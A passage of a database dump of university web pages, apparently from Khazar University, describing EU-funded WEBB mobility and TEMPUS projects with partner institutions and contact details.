meetings. A&nbsp;<strong>Coordination Board</strong><strong>&nbsp;</strong>(CB): composed by one representative from each institution of the consortium that participates to the consortium meetings. The CB is in charge of defining the general principles that regulate the management of the mobility.</p><p>The CB activities will be further divided in 2 Commissions that are: A) the&nbsp;<strong>Selection Committee</strong><strong>&nbsp;</strong>(SC): it will take the final decision on the list of selected students and professors. It is composed by 6 experts, chosen among project partners institutions (both EU and Third Country) and possibly associate partners with relevant experience on student selection procedures, plus the applicant; B) The&nbsp;<strong>Quality Assurance Committee</strong><strong>&nbsp;</strong>(QAC), composed by 6 experts chosen among project partners institutions (both EU and Third Country), associate partners and the project manager of the Coordinator institution. Each university is going to establish an internal unit for the project management: the&nbsp;<strong>Local University Unit</strong><strong>&nbsp;</strong>(LUU). This organization will ensure a smooth management and implementation of the action. The project foresees the inclusion of 7&nbsp;<strong>associated partners</strong>, more specifically: 2 University Networks: they have been included with the aim of maximizing the impact of the project because their membership covers all 6 Lot 5 countries; 2 research centers, whose expertise and contacts in the region will be taken into consideration when planning visibility strategies and dissemination activities; 1 NGO active in the field of education and inclusion policies, which will be consulted in order to contribute to the definition of TG3 profiles in the Region, and finally Belarusian Ministry for Education and Belarusian National Institute for Higher Education, which play a relevant role in the sustainability perspective of the action.</p><p>The project objective is to create a Consortium of 10 European HEIs and 10 HEIs from Eastern Europe and the Caucasus region, in order to set up a funded&nbsp;<strong>mobility scheme</strong>. The project is aimed at the successful implementation of motilities to and from Europe and the Third Countries, but it also represents a platform to enhance cooperation between European HEIs and the HEIs of the Region. In brief, the general&nbsp;<strong>objectives</strong><strong>&nbsp;</strong>of the project are:</p><p>-enhancing sector co-operation in the field of Higher Education through structured cooperation among partner HEIs and through the involvement of regional University Networks as associate partners;</p><p>-increasing of people-to-people contacts as an essential precondition for mutual understanding, through academic mobility at all levels;</p><p>-fostering civil society and dialogue on human rights and fundamental freedoms through the involvement in the project of NGOs and Non-state Associations as associate partners.</p><p>The expected&nbsp;<strong>impact</strong><strong>&nbsp;</strong>is to increase competitiveness and attractiveness of the HEI within the country and the region; to promote internationalization of curricula and of the student population thanks to an increased number of foreign students on campus; to provide more opportunities for students researchers/staff to study and doing research abroad, thus establishing fruitful international contacts with potential future partners; to boost the implementation of the Bologna process within the HEI and in the countries; to favor contacts between HEIs in the region and improving the transparency and full academic recognition of studies and qualifications, this could lead to the creation of regional bilateral or multilateral mobility schemes. Finally, the project will have a strong impact on the IROs of the HEIs involved as they will be the main actors of the implementation of the project, promoting internationalization at administrative levels.</p><p><strong><strong>Coordinator and partners:</strong>&nbsp;</strong></p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.unibo.it/\">Alma Mater Studiorum</a></p><p><a href=\"http://www.unibo.it/\">Università di Bologna</a></p><p><strong>Joint Coordinator:</strong></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.unive.it/\">Università Ca’ Foscari Venezia</a></p><p><a href=\"http://www.unipv.it/\">Università degli Studi di Pavia</a></p><p><a href=\"http://www.cardiffmet.ac.uk/\">Cardiff Metropolitan University</a></p><p><a href=\"http://www.ugent.be/\">Universiteit Gent</a>&nbsp;&nbsp;</p><p><a href=\"http://www.uni-leipzig.de/\">Universität Leipzig</a></p><p><a href=\"http://www.lu.se/\">Lunds universitet</a></p><p><a href=\"http://www.univ-poitiers.fr/\">Université de Poitiers</a></p><p><a href=\"http://www.utu.fi/\">University of Turku</a></p><p><a href=\"http://www.uw.edu.pl/\">Uniwersytet Warszawski</a></p><p><a href=\"http://www.usb.md/\">Universitatea de Stat „Alecu Russo” din Bălţi</a></p><p><a href=\"http://www.ysu.am/\">Yerevani Petakan Hamalsaran</a></p><p><a href=\"http://www.gsu.az/\">Gəncə Dövlət Universiteti</a></p><p><a href=\"http://www.khazar.org/s1018/\">Khazar University</a></p><p><a href=\"http://www.onu.edu.ua/\">Odessa National I.I. Mechnikov University</a>&nbsp;</p><p>Shota Rustavelis sakhelmtsipho universiteti</p><p>I.Gogebshvili Telavi State University</p><p><a href=\"http://www.tsu.edu.ge/\">Ivane Javakhishvili Tbilisi State University</a></p><p>Educational Establishment ”Vitebsk State University named after P.M. Masherova”</p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p>&nbsp;</p><p><strong><strong>Contact:</strong>&nbsp;<br></strong></p><p><strong>Raziya Isayeva :&nbsp;Risayeva@khazar.org</strong></p><p><strong>Shabnam Najafzadeh:&nbsp;snajafzadeh@khazar.org</strong></p><p><strong><strong>Useful links:</strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.unibo.it/WEBB/default.htm\" target=\"_blank\">http://www.unibo.it/WEBB/default.htm</a>&nbsp;</strong></p>'),(1262,798,'en','WEBB','WEBB','<p><strong><strong><strong>WEBB: Whole Europe Beyond Borders</strong>  <br></strong></strong></p><p><strong><strong>Start Date:</strong>&nbsp;&nbsp;September, 2012&nbsp;<br></strong></p><p><strong><strong>Duration:</strong>&nbsp;&nbsp;48 months</strong></p><p><strong>Brief information and main objectives:</strong>&nbsp;</p><p>The partnership is composed of 20 Universities, 10 from the EU and 10 from the Third Countries. The role of the co-coordinator will be taken up by Ivane Javakhishvili Tbilisi State University. All 6 countries included in Lot 5 are represented by at least one HEI in the consortium. As regards EU HEIs, the following countries are covered: Italy, France, Germany, Poland, the UK, Finland and Sweden. This provides the project with a satisfactory geographical distribution and diversity. The total number of foreseen motilities is 196; all 5 levels (undergraduate, master, PhD, post doc and staff) are included, as well as all Target Groups. There will be 2 calls for scholarships, as mobility is divided into 2 cohorts.</p><p>As to implementation, the internal management of the consortium is based on the establishment of bodies and units. More specifically there will be a&nbsp;<strong>Central Coordination Unit</strong><strong>&nbsp;</strong>(CCU): represented by the University of Bologna, which will be in charge of overall<strong>&nbsp;</strong>project coordination, follow up, relations with EACEA, organization of website, preparation<strong>&nbsp;</strong>and online publication of the call for scholarships, overall budget management and<strong>&nbsp;</strong>distribution, management of travel and health insurance services, and organization of<strong>&nbsp;&nbsp;</strong>consortium meetings. A&nbsp;<strong>Coordination Board</strong><strong>&nbsp;</strong>(CB): composed by one representative from each institution of the consortium that participates to the consortium meetings. The CB is in charge of defining the general principles that regulate the management of the mobility.</p><p>The CB activities will be further divided in 2 Commissions that are: A) the&nbsp;<strong>Selection Committee</strong><strong>&nbsp;</strong>(SC): it will take the final decision on the list of selected students and professors. It is composed by 6 experts, chosen among project partners institutions (both EU and Third Country) and possibly associate partners with relevant experience on student selection procedures, plus the applicant; B) The&nbsp;<strong>Quality Assurance Committee</strong><strong>&nbsp;</strong>(QAC), composed by 6 experts chosen among project partners institutions (both EU and Third Country), associate partners and the project manager of the Coordinator institution. Each university is going to establish an internal unit for the project management: the&nbsp;<strong>Local University Unit</strong><strong>&nbsp;</strong>(LUU). This organization will ensure a smooth management and implementation of the action. The project foresees the inclusion of 7&nbsp;<strong>associated partners</strong>, more specifically: 2 University Networks: they have been included with the aim of maximizing the impact of the project because their membership covers all 6 Lot 5 countries; 2 research centers, whose expertise and contacts in the region will be taken into consideration when planning visibility strategies and dissemination activities; 1 NGO active in the field of education and inclusion policies, which will be consulted in order to contribute to the definition of TG3 profiles in the Region, and finally Belarusian Ministry for Education and Belarusian National Institute for Higher Education, which play a relevant role in the sustainability perspective of the action.</p><p>The project objective is to create a Consortium of 10 European HEIs and 10 HEIs from Eastern Europe and the Caucasus region, in order to set up a funded&nbsp;<strong>mobility scheme</strong>. The project is aimed at the successful implementation of motilities to and from Europe and the Third Countries, but it also represents a platform to enhance cooperation between European HEIs and the HEIs of the Region. In brief, the general&nbsp;<strong>objectives</strong><strong>&nbsp;</strong>of the project are:</p><p>-enhancing sector co-operation in the field of Higher Education through structured cooperation among partner HEIs and through the involvement of regional University Networks as associate partners;</p><p>-increasing of people-to-people contacts as an essential precondition for mutual understanding, through academic mobility at all levels;</p><p>-fostering civil society and dialogue on human rights and fundamental freedoms through the involvement in the project of NGOs and Non-state Associations as associate partners.</p><p>The expected&nbsp;<strong>impact</strong><strong>&nbsp;</strong>is to increase competitiveness and attractiveness of the HEI within the country and the region; to promote internationalization of curricula and of the student population thanks to an increased number of foreign students on campus; to provide more opportunities for students researchers/staff to study and doing research abroad, thus establishing fruitful international contacts with potential future partners; to boost the implementation of the Bologna process within the HEI and in the countries; to favor contacts between HEIs in the region and improving the transparency and full academic recognition of studies and qualifications, this could lead to the creation of regional bilateral or multilateral mobility schemes. Finally, the project will have a strong impact on the IROs of the HEIs involved as they will be the main actors of the implementation of the project, promoting internationalization at administrative levels.</p><p><strong><strong>Coordinator and partners:</strong>&nbsp;</strong></p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.unibo.it/\">Alma Mater Studiorum</a></p><p><a href=\"http://www.unibo.it/\">Università di Bologna</a></p><p><strong>Joint Coordinator:</strong></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.unive.it/\">Università Ca’ Foscari Venezia</a></p><p><a href=\"http://www.unipv.it/\">Università degli Studi di Pavia</a></p><p><a href=\"http://www.cardiffmet.ac.uk/\">Cardiff Metropolitan University</a></p><p><a href=\"http://www.ugent.be/\">Universiteit Gent</a>&nbsp;&nbsp;</p><p><a href=\"http://www.uni-leipzig.de/\">Universität Leipzig</a></p><p><a href=\"http://www.lu.se/\">Lunds universitet</a></p><p><a href=\"http://www.univ-poitiers.fr/\">Université de Poitiers</a></p><p><a href=\"http://www.utu.fi/\">University of Turku</a></p><p><a href=\"http://www.uw.edu.pl/\">Uniwersytet Warszawski</a></p><p><a href=\"http://www.usb.md/\">Universitatea de Stat „Alecu Russo” din Bălţi</a></p><p><a href=\"http://www.ysu.am/\">Yerevani Petakan Hamalsaran</a></p><p><a href=\"http://www.gsu.az/\">Gəncə Dövlət Universiteti</a></p><p><a href=\"http://www.khazar.org/s1018/\">Khazar University</a></p><p><a href=\"http://www.onu.edu.ua/\">Odessa National I.I. Mechnikov University</a>&nbsp;</p><p>Shota Rustavelis sakhelmtsipho universiteti</p><p>I.Gogebshvili Telavi State University</p><p><a href=\"http://www.tsu.edu.ge/\">Ivane Javakhishvili Tbilisi State University</a></p><p>Educational Establishment ”Vitebsk State University named after P.M. Masherova”</p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p>&nbsp;</p><p><strong><strong>Contact:</strong>&nbsp;<br></strong></p><p><strong>Raziya Isayeva :&nbsp;Risayeva@khazar.org</strong></p><p><strong>Shabnam Najafzadeh:&nbsp;snajafzadeh@khazar.org</strong></p><p><strong><strong>Useful links:</strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.unibo.it/WEBB/default.htm\" target=\"_blank\">http://www.unibo.it/WEBB/default.htm</a>&nbsp;</strong></p>'),(1263,799,'en','Tempus Projects ','Tempus Projects ','<p><strong><br></strong></p><p><strong>TEMPUS&nbsp;<strong>(Trans-European Mobility Programme for University Studies)&nbsp;</strong>Projects</strong><strong>&nbsp;</strong></p><p>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/773/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/774/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/775/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/776/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/777/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/778/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/779/student_support_and_development_services\">Student Support and Development Services</a></p><p><a href=\"http://www.khazar.org/en/menus/780/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p>  <div><br></div>'),(1264,799,'az','TEMPUS Layihələri','TEMPUS Layihələri','<div><br></div><div><p><strong>TEMPUS&nbsp;Layihələri</strong></p><p>TEMPUS (Trans-European mobility scheme for university studies)&nbsp; ali təhsilin modernizasiyasını dəstəkləyir və&nbsp; Avropa Şurasının ətrafında olan ölkələrlə əməkdaşlıq sahəsinin yaradılmasında kömək göstərir.&nbsp;</p><p>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/773/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/774/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/775/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/776/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/777/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity</a>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/778/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/779/student_support_and_development_services\">Student Support and Development Services</a></p><p><a href=\"http://www.khazar.org/en/menus/780/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p>  <div><br></div><br></div>'),(1266,807,'az','The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan','The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan','<div><br></div><div> <div><p style=\"font-family:\'times new roman\', times, serif;background:undefined \"><strong>The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \"><strong><br></strong></p><table style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td><p style=\"background:undefined \"><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>December 2013</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>36 months</td></tr><tr><td><p style=\"background:undefined \"><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td>The project aims to improve access for students with disabilities into HEIs of Azerbaijan in line with the best EU practices and policies, supported by the Ministry of Education and the Ministry of Labor and Social Protection of the Population, through the development and implementation of the guidelines and polices and raise awareness of the students, staff and other stakeholders.<p style=\"background:undefined \">Particularly:</p><ul><li>Establishing guidelines and polices for involvement of physically disabled people into HEIs in Azerbaijan</li><li>Conducting staff training for working with disabled people</li><li>Establishing Centers for Disabled Persons at each local partner university</li><li>Improving physical environments for disabled people at HEIs in Azerbaijan</li><li>Raising public awareness</li></ul><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td><p style=\"background:undefined \"><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><table cellpadding=\"0\"><tbody><tr><td><p style=\"background:undefined \"><strong>Project Coordinator:</strong></p><p style=\"background:undefined \"><strong><a href=\"http://www.khazar.org/s7849/\" target=\"_blank\">Khazar University</a></strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Partners:</strong></p><p style=\"background:undefined \"><a href=\"http://www.humanconsultancy.com/\" target=\"_blank\">Human European Consultancy</a></p><p style=\"background:undefined \"><a href=\"http://iso.uni.lodz.pl/\" target=\"_blank\">University of Lodz</a></p><p style=\"background:undefined \"><a href=\"http://www.uom.gr/index.php?newlang=eng\" target=\"_blank\">University of Macedonia</a></p><p style=\"background:undefined \"><a href=\"http://www.uni-graz.at/en/\" target=\"_blank\">Karl Franzens Universität Graz</a></p></td></tr></tbody></table><p style=\"background:undefined \"><a href=\"http://gsu.az/\" target=\"_blank\">Ganja State University</a></p><p style=\"background:undefined \"><a href=\"http://ndu.edu.az//en/mainpage/\" target=\"_blank\">Nakhchivan&nbsp;State University</a></p><p style=\"background:undefined \"><a href=\"http://www.sdu.az/\" target=\"_blank\">Sumgayit State University</a></p><p style=\"background:undefined \"><a href=\"http://www.lsu.edu.az/index_en.html\" target=\"_blank\">Lankaran State University</a></p><p style=\"background:undefined \"><a href=\"http://www.aseu.az/index.php?lang=en\" target=\"_blank\">Azerbaijan State Economic University</a></p><p style=\"background:undefined \"><a href=\"http://www.udpo.az/index.php?lang=2\" target=\"_blank\">Union of Disabled People Organizations</a></p><p style=\"background:undefined \"><a href=\"http://www.edu.gov.az/view.php?lang=en\" target=\"_blank\">The Ministry of Education of the Azerbaijan Republic</a></p><p style=\"background:undefined \"><a href=\"http://www.mlspp.gov.az/en/pages/1\" target=\"_blank\">The Ministry of Labor and Social Protection of Population</a>&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p style=\"background:undefined \"><strong>Rima Mammadova</strong></p><strong>Rmammadova@khazar.org</strong><br><p style=\"background:undefined \">+994 (12) 421 79 16/ ext 234</p></td></tr></tbody></table></div><br></div>'),(1265,807,'en','The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan','The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>December 2013</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td>The project aims to improve access for students with disabilities into HEIs of Azerbaijan in line with the best EU practices and policies, supported by the Ministry of Education and the Ministry of Labor and Social Protection of the Population, through the development and implementation of the guidelines and polices and raise awareness of the students, staff and other stakeholders.<p>Particularly:</p><ul><li>Establishing guidelines and polices for involvement of physically disabled people into HEIs in Azerbaijan</li><li>Conducting staff training for working with disabled people</li><li>Establishing Centers for Disabled Persons at each local partner university</li><li>Improving physical environments for disabled people at HEIs in Azerbaijan</li><li>Raising public awareness</li></ul><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><table cellpadding=\"0\"><tbody><tr><td><p><strong>Project Coordinator:</strong></p><p><strong><a href=\"http://www.khazar.org/s7849/\" target=\"_blank\">Khazar University</a></strong></p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p><a href=\"http://www.humanconsultancy.com/\" target=\"_blank\">Human European Consultancy</a></p><p><a href=\"http://iso.uni.lodz.pl/\" target=\"_blank\">University of Lodz</a></p><p><a href=\"http://www.uom.gr/index.php?newlang=eng\" target=\"_blank\">University of Macedonia</a></p><p><a href=\"http://www.uni-graz.at/en/\" target=\"_blank\">Karl Franzens Universität Graz</a></p></td></tr></tbody></table><p><a href=\"http://gsu.az/\" target=\"_blank\">Ganja State University</a></p><p><a href=\"http://ndu.edu.az//en/mainpage/\" target=\"_blank\">Nakhchivan State University</a></p><p><a href=\"http://www.sdu.az/\" target=\"_blank\">Sumgayit State University</a></p><p><a href=\"http://www.lsu.edu.az/index_en.html\" target=\"_blank\">Lankaran State University</a></p><p><a href=\"http://www.aseu.az/index.php?lang=en\" target=\"_blank\">Azerbaijan State Economic University</a></p><p><a href=\"http://www.udpo.az/index.php?lang=2\" target=\"_blank\">Union of Disabled People Organizations</a></p><p><a href=\"http://www.edu.gov.az/view.php?lang=en\" target=\"_blank\">The Ministry of Education of the Azerbaijan Republic</a></p><p><a href=\"http://www.mlspp.gov.az/en/pages/1\" target=\"_blank\">The Ministry of Labor and Social Protection of Population</a>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p><strong>Rima Mammadova</strong></p><strong>Rmammadova@khazar.org</strong><br><p>+994 (12) 421 79 16/ ext 234</p></td></tr></tbody></table>  <br></div>'),(1267,808,'en',' Project Actors Capacity Training in Caucasus',' Project Actors Capacity Training in Caucasus','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Project Actors Capacity Training in Caucasus</strong></p><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>&nbsp;2013</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>24 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>The main aim of the project is to successfully transfer existing knowledge funded by the EC for project developers to the Caucasus Region and contribute to capacity building in Caucasus universities.</p><p>Particularly:</p><ul><li>Develop tools to support project developers and applicants in the process of developing and managing projects with an international or European scope</li><li>Collect support tools for project developers, train project partners, young researchers, PhD students and young lecturers from AM, AZ and GE in project development and establish a Caucasus Interactive Resource Platform with adapted support tools.</li></ul><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><p><strong>Project Coordinator:</strong></p><p>&nbsp;</p><p>David Tvildiani Medical University</p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p>&nbsp;</p><p>Fachhochschule Burgenland Ges.m.n.H., AT</p><p><a href=\"http://www.herold.at/gelbe-seiten/wien/QtmF6/die-berater%C2%AE-unternehmensberatungs-gmbh/\" target=\"_blank\">“ die Berater” Unternehemensberatung GmbH</a>, AT</p><p><a href=\"http://www.san.edu.pl/\" target=\"_blank\">Spoleczna Akademia Nauk</a>, PL</p><p><a href=\"http://studyindenmark.dk/study-options/danish-higher-education-institutions/university-colleges/university-college-capital/university-college-capital\" target=\"_blank\">University College Capital</a>, DK</p><p><a href=\"http://www.equnet.info/community/associated-partners/eucen-european-universities-continuing-education-network/\" target=\"_blank\">Eoropean University Continuing Education Network</a>, ES</p><p><a href=\"http://www.gsu.am/?lang=en\" target=\"_blank\">Gavar State University</a>&nbsp;, AM</p><p><a href=\"http://www.iliauni.edu.ge/index.php?sec_id=1&amp;lang_id=ENG\" target=\"_blank\">Ilia State University</a>, GE</p><p><a href=\"http://bsu.edu.az/en/\" target=\"_blank\">Baku State University</a>,AZ</p><p><a href=\"http://www.uga.edu/\" target=\"_blank\">University of Georgia</a>&nbsp;, GE</p><p><a href=\"http://www.tsu.edu.ge/\" target=\"_blank\">Ivana Javakhisvili Tbilisi State University</a>, GE</p><p><a href=\"http://www.khazar.org/s7850/\" target=\"_blank\">Khazar University</a>, AZ</p><p><a href=\"http://www.gu.edu.ge/eng\" target=\"_blank\">Gori State Teaching University</a>, GE</p><p><a href=\"http://www.ysu.am/main/en\" target=\"_blank\">Yerevan State University</a>, AM</p><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Raziya Isayeva</p><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>+994 (12) 421 79 16/ ext 207</p>+994 503487568</td></tr></tbody></table>  <br></div>'),(1268,808,'az',' Project Actors Capacity Training in Caucasus',' Project Actors Capacity Training in Caucasus','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif\"><strong>Project Actors Capacity Training in Caucasus</strong></p><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>&nbsp;2013</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>24 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>The main aim of the project is to successfully transfer existing knowledge funded by the EC for project developers to the Caucasus Region and contribute to capacity building in Caucasus universities.</p><p>Particularly:</p><ul><li>Develop tools to support project developers and applicants in the process of developing and managing projects with an international or European scope</li><li>Collect support tools for project developers, train project partners, young researchers, PhD students and young lecturers from AM, AZ and GE in project development and establish a Caucasus Interactive Resource Platform with adapted support tools.</li></ul><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><p><strong>Project Coordinator:</strong></p><p>&nbsp;</p><p>David Tvildiani Medical University</p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p>&nbsp;</p><p>Fachhochschule Burgenland Ges.m.n.H., AT</p><p><a href=\"http://www.herold.at/gelbe-seiten/wien/QtmF6/die-berater%C2%AE-unternehmensberatungs-gmbh/\" target=\"_blank\">“ die Berater” Unternehemensberatung GmbH</a>, AT</p><p><a href=\"http://www.san.edu.pl/\" target=\"_blank\">Spoleczna Akademia Nauk</a>, PL</p><p><a href=\"http://studyindenmark.dk/study-options/danish-higher-education-institutions/university-colleges/university-college-capital/university-college-capital\" target=\"_blank\">University College Capital</a>, DK</p><p><a href=\"http://www.equnet.info/community/associated-partners/eucen-european-universities-continuing-education-network/\" target=\"_blank\">Eoropean University Continuing Education Network</a>, ES</p><p><a href=\"http://www.gsu.am/?lang=en\" target=\"_blank\">Gavar State University</a>&nbsp;, AM</p><p><a href=\"http://www.iliauni.edu.ge/index.php?sec_id=1&amp;lang_id=ENG\" target=\"_blank\">Ilia State University</a>, GE</p><p><a href=\"http://bsu.edu.az/en/\" target=\"_blank\">Baku State University</a>,AZ</p><p><a href=\"http://www.uga.edu/\" target=\"_blank\">University of Georgia</a>&nbsp;, GE</p><p><a href=\"http://www.tsu.edu.ge/\" target=\"_blank\">Ivana Javakhisvili Tbilisi State University</a>, GE</p><p><a href=\"http://www.khazar.org/s7850/\" target=\"_blank\">Khazar University</a>, AZ</p><p><a href=\"http://www.gu.edu.ge/eng\" target=\"_blank\">Gori State Teaching University</a>, GE</p><p><a href=\"http://www.ysu.am/main/en\" target=\"_blank\">Yerevan State University</a>, AM</p><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Raziya Isayeva</p><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>+994 (12) 421 79 16/ ext 207</p>+994 503487568</td></tr></tbody></table>  <br></div>'),(1269,809,'az','Strengthening the Specific Role of Universities as LLL Institutions','Strengthening the Specific Role of Universities as LLL Institutions','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><strong>Strengthening the Specific Role of Universities as LLL Institutions</strong></strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>2013</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>24 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>SSRULLI project aims at strengthening capacities for University Lifelong Learning in Countries of the South Caucasus</p><p>Particularly:</p><ul><li>Benchmarking potentials and development of institutional recommendations for boosting the role of PUs as LLL institutions.</li><li>Strengthening of strategic, infrastructural and human capacities in 9 partner universities as a model for the development and implementation of management of ULLL</li><li>Develop regional network as a platform for regular dialogue and information exchange on ULLL challenges and opportunities in the region</li></ul><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p><strong>Project Coordinator:</strong></p><p>&nbsp;</p><p>Ivana Javakhisvili Tbilisi State University</p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p>Karl-Franzens&nbsp;–University Graz (University of Graz), AT</p><p>Armenian Branch Office of the German Adult Education Assoc., AM</p><p>Tallinn University, EE</p><p>Apollon&nbsp;Kutateladze Tbilisi State Academy of Arts, GE</p><p>Caucasus&nbsp;International university, GE</p><p>Batumu&nbsp;State Maritime Academy, GE</p><p>BatumuShota Rustavelli State University, GE</p><p>Khazar&nbsp;University, AZ</p><p>Qafqaz&nbsp;University, AZ</p><p>Vanadzor State Pedagogical Institute after Hovh.Tumanyan ,AM</p><p>Yeravan State Linguistic University after Bryusov, AM</p><p>Adult Education Association of Georgia, GE</p><p>Institute for Int Cooperation of the German Adult Educ. Assoc., GE</p><p>Adult Education Association of Azerbaijan, Az</p><p>Universitat Hamburg, DE</p></td></tr></tbody></table><div></div></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Raziya Isayeva</p><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>+994 (12) 421 79 16/ ext 207</p><p>+994 503487568</p><p>&nbsp;</p></td></tr><tr><td><strong>Project website:</strong></td><td><strong>&nbsp;</strong></td><td><a href=\"http://www.unimig.tsu.edu.ge/\">http://www.unimig.tsu.edu.ge/</a><br></td></tr></tbody></table>  <br></div>'),(1270,809,'en','Strengthening the Specific Role of Universities as LLL Institutions','Strengthening the Specific Role of Universities 